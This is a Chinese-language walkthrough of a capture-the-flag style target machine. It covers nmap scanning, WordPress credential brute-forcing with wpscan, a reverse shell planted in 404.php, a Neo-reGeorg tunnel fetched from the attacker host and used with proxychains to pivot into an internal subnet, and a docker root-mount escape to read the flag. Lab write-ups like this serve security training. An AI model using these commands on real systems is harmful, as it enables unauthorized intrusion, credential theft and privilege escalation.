一、主机发现
arp-scan -l
得到靶机ip为192.168.55.166
二、端口扫描、目录枚举、漏洞扫描、指纹识别
2.1端口扫描
nmap --min-rate 10000 -p- 192.168.55.166
发现开放了8000端口
扫描UDP端口
nmap -sU --min-rate 10000 -p- 192.168.55.166
发现不存在UDP端口
2.2目录枚举
dirb http://192.168.55.166:8000
2.3漏洞扫描
nmap --script=vuln -p21,22,80 192.168.55.166
2.4指纹识别
nmap 192.168.55.166 -sV -sC -O --version-all
发现ftp服务可以匿名登陆
三、进入靶机网页进行信息收集,反弹shell
进入8000端口页面
根据刚刚的目录枚举,找到了该页面的登陆口
http://192.168.55.166:8000/admin
又是熟悉的wordpress框架
直接使用wpscan
wpscan --url http://192.168.55.166:8000/
找到一个文件
发现还是登录框的url
尝试进行用户名的爆破
wpscan --url http://192.168.55.166:8000/ --enumerate u
爆破出用户名为bob
继续爆破密码
wpscan --url http://192.168.55.166:8000 -P darkweb2017-top10000.txt -U bob
成功爆破出了密码
bob
Welcome1
成功进入后台
进入了wordpress的后台,直接去改文件反弹shell
将404.php文件改为kali自带的反弹shell脚本
然后访问一个不存在的页面
成功拿到shell
四、提权
该靶机没有python,导致shell不能升级,有点难受
4.1靶机信息收集
靶机不能用sudo命令
找一下suid文件
没啥可以用的
看一下定时任务
crontab -l
也没有相对应的定时任务
4.2内网穿透
查看一下靶机的ip,发现不对劲
靶机的ip是172.18.0.4,感觉这个靶机只是一个容器
ping了一下,发现172.18.0.1-172.18.0.4都能ping通
这里使用Neo-reGeorg进行内网穿透
下载地址:
git clone https://github.com/L-codes/Neo-reGeorg.git
进入工具中,然后生成指定密码为yourpassword
cd Neo-reGeorg
python3 neoreg.py generate -k yourpassword
下一步:将生成的php文件上传到靶机网页中
由于靶机的tmp文件夹权限高,先将文件上传到该文件夹中,然后移动到网站目录下
nc -lvvp 8080 #kali本机
curl -O http://192.168.55.132:8080/tunnel.php #靶机的tmp文件夹中
mv tunnel.php /var/www/html/tunnel.php #靶机tmp文件夹中
然后进行内网穿透
python3 neoreg.py -k yourpassword -u http://192.168.55.147:8000/tunnel.php
成功
这里使用proxychains4工具进行代理
先进行配置proxychains4
vim /etc/proxychains4.conf
在文件末尾加入该语句(Neo-reGeorg默认代理的是1080端口)
然后使用nmap扫描内网端口即可
proxychains4 nmap -Pn -sT 172.18.0.1
proxychains4 nmap -Pn -sT 172.18.0.2
proxychains4 nmap -Pn -sT 172.18.0.3
proxychains4 nmap -Pn -sT 172.18.0.4
4.3docker挂载
代理到火狐中
proxychains4 firefox
逐个端口进行访问
发现8022开放的端口是一个终端
172.18.0.2:8022
但是这个终端很卡
尝试挂载
先进行换源
vim /etc/apt/sources.list
以下是换源内容:
echo 'deb http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse' > /etc/apt/sources.list
然后重新开一台kali并且安装docker
apt-get update
apt-get install docker.io
随后进行docker挂载
docker run --rm -it -v /:/tmp/1/ wordpress /bin/bash
成功挂载!
随后在网页中也安装docker,同样挂载到172.18.0.2:8022中,即可拿到flag
docker run --rm -it -v /:/tmp/1/ wordpress /bin/bash
cd /tmp/1
cat flag_3
成功提权!